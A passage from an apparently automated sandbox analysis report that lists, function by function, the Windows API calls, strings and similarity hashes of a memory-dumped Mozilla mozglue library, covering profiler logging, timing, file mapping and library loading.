AcquireSRWLockExclusive.KERNEL32(?), ref: 6CABD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CABD6A2

Strings

D($/, xrefs: 6CABD4E1, 6CABD5EE

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID: D($/
API String ID: 2206442479-324952136
Opcode ID: 0deb0615b0dc42ecbf22fe217557860cd7d0ed14c72e9254ca44effaf19a1352
Instruction ID: 19c675c32d7e30b67c832e3ae6673ff04c8d2951efb3d4238541b1aa7c273e55
Opcode Fuzzy Hash: 0deb0615b0dc42ecbf22fe217557860cd7d0ed14c72e9254ca44effaf19a1352
Instruction Fuzzy Hash: 50518075A04706DFC744CF34D488A9ABBF4FF89318F00862DE85A97711DB30A489CB95

Function 6CAC6660 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CAEF618), ref: 6CAC6694
GetThreadId.KERNEL32(?), ref: 6CAC66B1
GetCurrentThreadId.KERNEL32 ref: 6CAC66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CAC66E1
EnterCriticalSection.KERNEL32(6CAEF618), ref: 6CAC6734
GetCurrentProcess.KERNEL32 ref: 6CAC673A
LeaveCriticalSection.KERNEL32(6CAEF618), ref: 6CAC676C
GetCurrentThread.KERNEL32 ref: 6CAC67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CAC6868
RtlCaptureContext.NTDLL ref: 6CAC687F

Strings

WalkStack64, xrefs: 6CAC6890
D($/, xrefs: 6CAC6678

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64$D($/
API String ID: 2357170935-902290595
Opcode ID: a332a072cfc391eae196ebd549434af1f8c28387f04bf15d94d40c4cdade3124
Instruction ID: 168f60d8aa57bd6eec1cb41a0906c929c23843bc782d1dcc726badeb1818f9d8
Opcode Fuzzy Hash: a332a072cfc391eae196ebd549434af1f8c28387f04bf15d94d40c4cdade3124
Instruction Fuzzy Hash: C351DE71A09302AFDB15CF24C848BAABBF4FF89714F04892DF59987740D770A9598BD2

Function 6CAADE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAADE73
GetCurrentThreadId.KERNEL32 ref: 6CAADF7D
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAADF8A
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAADFC9
GetCurrentThreadId.KERNEL32 ref: 6CAADFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CA74A68), ref: 6CAADE7B

Part of subcall function 6CAA94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAA94EE
Part of subcall function 6CAA94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAA9508

Part of subcall function 6CA9CBE8: GetCurrentProcess.KERNEL32(?,6CA631A7), ref: 6CA9CBF1
Part of subcall function 6CA9CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA631A7), ref: 6CA9CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CA74A68), ref: 6CAADEB8
free.MOZGLUE(00000000,?,6CA74A68), ref: 6CAADEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CAADF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6CAADE83
<none>, xrefs: 6CAADFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CAAE00E

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 54b3387b5da094a6a88e9c750eab3e8235b64ac0f449ad39b4b8ffcafa951aa4
Instruction ID: 37cf28c74cec8c2fa8f0502382ed17347396296b81d4193cc7f98e47ec7c8aec
Opcode Fuzzy Hash: 54b3387b5da094a6a88e9c750eab3e8235b64ac0f449ad39b4b8ffcafa951aa4
Instruction Fuzzy Hash: 6541C335B023129FDB149BA8E9087AE7775EB8D30CF048119ED4597B01CB32998BD7E5

Function 6CA85670 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CA856D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA856E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CA856F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CA85744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CA857BC
GetTickCount64.KERNEL32 ref: 6CA858CB
EnterCriticalSection.KERNEL32(6CAEF688), ref: 6CA858F3
__aulldiv.LIBCMT ref: 6CA85945
LeaveCriticalSection.KERNEL32(6CAEF688), ref: 6CA859B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CAEF638,?,?,?,?), ref: 6CA859E9

Strings

MOZ_APP_RESTART, xrefs: 6CA856CC
D($/, xrefs: 6CA8567F

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART$D($/
API String ID: 2752551254-829789184
Opcode ID: e79677c37a609ae91722c7cd9d70f4d6947f8119de8887a27ea1a715bf3c982b
Instruction ID: f865cb26588505536fc1a93d6a6ea759e07e83c7a310d9fe847f130308123b4d
Opcode Fuzzy Hash: e79677c37a609ae91722c7cd9d70f4d6947f8119de8887a27ea1a715bf3c982b
Instruction Fuzzy Hash: F8C16E31A097919FDB09CF28C44066ABBF1FFCA714F15CA1DE8C557660D730A986DB82

Function 6CACAC20 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CACAC52
CreateFileMappingW.KERNEL32 ref: 6CACAC7D
GetSystemInfo.KERNEL32 ref: 6CACAC98
MapViewOfFile.KERNEL32 ref: 6CACACB0
GetSystemInfo.KERNEL32 ref: 6CACACCD
MapViewOfFile.KERNEL32 ref: 6CACAD05
UnmapViewOfFile.KERNEL32 ref: 6CACAD1C
CloseHandle.KERNEL32 ref: 6CACAD28
UnmapViewOfFile.KERNEL32 ref: 6CACAD37
CloseHandle.KERNEL32 ref: 6CACAD43
CloseHandle.KERNEL32 ref: 6CACAD67

Strings

D($/, xrefs: 6CACAC29

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID: D($/
API String ID: 1192971331-324952136
Opcode ID: f3e4271170580a1e1735c8e839c40f4db318247e89353ceec2659ddd9d4506d1
Instruction ID: fec5b7cb4168a460d2c52053ec7263aecdbd478ef7f249f2eab4ecd0d54e2a79
Opcode Fuzzy Hash: f3e4271170580a1e1735c8e839c40f4db318247e89353ceec2659ddd9d4506d1
Instruction Fuzzy Hash: 5B3164B1A047058FDB44AF7CD64C26EBBF1BF49305F018A2DE98587211EB749889CB82

Function 6CAA8ED0 Relevance: 19.6, APIs: 1, Strings: 10, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CA6EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA6EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CAAB392,?,?,00000001), ref: 6CAA91F4

Part of subcall function 6CA9CBE8: GetCurrentProcess.KERNEL32(?,6CA631A7), ref: 6CA9CBF1
Part of subcall function 6CA9CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA631A7), ref: 6CA9CBFA

Strings

marker-chart, xrefs: 6CAA905E
timeline-overview, xrefs: 6CAA907A
timeline-memory, xrefs: 6CAA9088
timeline-fileio, xrefs: 6CAA90A4
name, xrefs: 6CAA8F16
stack-chart, xrefs: 6CAA90B2
data, xrefs: 6CAA90E8
marker-table, xrefs: 6CAA906C
timeline-ipc, xrefs: 6CAA9096
D($/, xrefs: 6CAA8ED9

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview$D($/
API String ID: 3790164461-2499518884
Opcode ID: 29d73007a0be105e196396444d1dedfd5df33e2cab4e0bfea029abdd683c9ff2
Instruction ID: 6486cddaccf7934372c5d2585194f325c0f025ee87a2881716451501d88ae940
Opcode Fuzzy Hash: 29d73007a0be105e196396444d1dedfd5df33e2cab4e0bfea029abdd683c9ff2
Instruction Fuzzy Hash: 8CB1B6B1A012099BDB04CFA9C9517EEBBB5FF88318F144119D5056BF80D771A9CACBE1

Function 6CAAEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA74A68), ref: 6CAA945E
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAA9470
Part of subcall function 6CAA9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAA9482
Part of subcall function 6CAA9420: __Init_thread_footer.LIBCMT ref: 6CAA949F

GetCurrentThreadId.KERNEL32 ref: 6CAAEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAEC8C

Part of subcall function 6CAA94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAA94EE
Part of subcall function 6CAA94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAA9508

GetCurrentThreadId.KERNEL32 ref: 6CAAECA1
AcquireSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CAAECC5
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CAAED19
CloseHandle.KERNEL32(?), ref: 6CAAED28
free.MOZGLUE(00000000), ref: 6CAAED2F
ReleaseSRWLockExclusive.KERNEL32(6CAEF4B8), ref: 6CAAED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CAAEC94

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 638c6d47b3b69b8f43f65868907107b4dfc5c970579894abeccc923aea8375b8
Instruction ID: ffb5a7db4938161262edcbf19a858414c88e87ef885421331b5ae853f7f3fc85
Opcode Fuzzy Hash: 638c6d47b3b69b8f43f65868907107b4dfc5c970579894abeccc923aea8375b8
Instruction Fuzzy Hash: AA21F675600305AFDB019FA4EC08AAA7739FB4936CF148214FC1847740D73198AB9BF5

Function 6CA8C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA8C5A3
WideCharToMultiByte.KERNEL32 ref: 6CA8C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CA8C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CA8CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA8CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA8CAA5

Strings

(null), xrefs: 6CA8C596
0, xrefs: 6CA8D30A

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 0dd311131d5e7b6502c9693ef9ca338b2e7fd8749872f88aaeec2500c25b5670
Instruction ID: 2a9310b5045fa4374096e42128cdb853d3f0efaeeaa4b9ebb2d78d05b1a282f0
Opcode Fuzzy Hash: 0dd311131d5e7b6502c9693ef9ca338b2e7fd8749872f88aaeec2500c25b5670
Instruction Fuzzy Hash: 53A1903060A3429FDB04DF28C58475ABBF1EF89748F088A2DE99997741D735D885CF92

Function 6CAB9D00 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAB8273), ref: 6CAB9D65
free.MOZGLUE(6CAB8273,?), ref: 6CAB9D7C
free.MOZGLUE(?,?), ref: 6CAB9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAB9E0F
free.MOZGLUE(6CAB946B,?,?), ref: 6CAB9E24
free.MOZGLUE(?,?,?), ref: 6CAB9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAB9EC8
free.MOZGLUE(6CAB946B,?,?,?), ref: 6CAB9EDF
free.MOZGLUE(?,?,?,?), ref: 6CAB9EF5

Strings

D($/, xrefs: 6CAB9D0E

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID: D($/
API String ID: 956590011-324952136
Opcode ID: 5cf88c6d2a02a66cfef971d2e400af4de40742cb2d5b1d14731fdb48c2016ffe
Instruction ID: a0535c0347707f8100f511664963e24e5f6d67f3417e28e395c8d52e31a6652d
Opcode Fuzzy Hash: 5cf88c6d2a02a66cfef971d2e400af4de40742cb2d5b1d14731fdb48c2016ffe
Instruction Fuzzy Hash: 2071807050AB418BD712CF29C68055BF3F5FF99315B449619EC5A5B701EB30E8C5CB91

Function 6CA8C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA8C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA8C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CA8C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA8C891

Strings

inf, xrefs: 6CA8C78F
nan, xrefs: 6CA8C7A8
NAN, xrefs: 6CA8C7AD
INF, xrefs: 6CA8C794

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 5a62360266c52b6a113a1b09576b72862d2277f3b3711d70d0112b702f1e289b
Instruction ID: f6ecfabf88b63cb0fef039dbab9ab4f1592f6823505b1c913efffe78618cbf0b
Opcode Fuzzy Hash: 5a62360266c52b6a113a1b09576b72862d2277f3b3711d70d0112b702f1e289b
Instruction Fuzzy Hash: 4751B0709097418BDB04EF2CC48569AFBF0BF8A308F448A2DE9D5A7651E770D9C9CB42

Function 6CAC5D10 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5DC9
std::_Facet_Register.LIBCPMT ref: 6CAC5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CAC5C8C,?,6CA9E829), ref: 6CAC5E45

Strings

D($/, xrefs: 6CAC5D19

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID: D($/
API String ID: 2325513730-324952136
Opcode ID: fe74d9d428997c6b46df61b4ced328bb1d2aee844cc8c240373588d4967c54af
Instruction ID: dc2aa41dc322aef58a0599999991339908e2391b2a9fc10d2205f3d96a16f1ca
Opcode Fuzzy Hash: fe74d9d428997c6b46df61b4ced328bb1d2aee844cc8c240373588d4967c54af
Instruction Fuzzy Hash: 7541B2307003068FCB04DFA9D8D8AAE77B5EF48314F088168E50697791DB34EC86DBA1

Function 6CA79620 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CA79675
__Init_thread_footer.LIBCMT ref: 6CA79697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CA796E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CA79707
__Init_thread_footer.LIBCMT ref: 6CA7971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA79773

Part of subcall function 6CA9AB89: EnterCriticalSection.KERNEL32(6CAEE370,?,?,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB94
Part of subcall function 6CA9AB89: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CA797B7
FreeLibrary.KERNEL32 ref: 6CA797D0
FreeLibrary.KERNEL32 ref: 6CA797EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA79824

Strings

ntdll.dll, xrefs: 6CA796E3
NtMapViewOfSection, xrefs: 6CA79701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CA79670
D($/, xrefs: 6CA7959E, 6CA79632
MapViewOfFileNuma2, xrefs: 6CA797B1

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll$D($/
API String ID: 409848716-4047011252
Opcode ID: 4c8fbc9bad2db75eb1ef62ae9e1572cb317a7bc6957c709aa7f382223265e09e
Instruction ID: aa25b744cc6c2f6168e51ed05f5a93f129093ef576881c10db7c577a2bc4c0de
Opcode Fuzzy Hash: 4c8fbc9bad2db75eb1ef62ae9e1572cb317a7bc6957c709aa7f382223265e09e
Instruction Fuzzy Hash: 1141AE746003069FDF14CFA6ED85A9677B5FB4E324F04812AED1587B40E730A88ADBE1

Function 6CA64480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CAA4843,?), ref: 6CA645F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CAA4843,?), ref: 6CA6468A
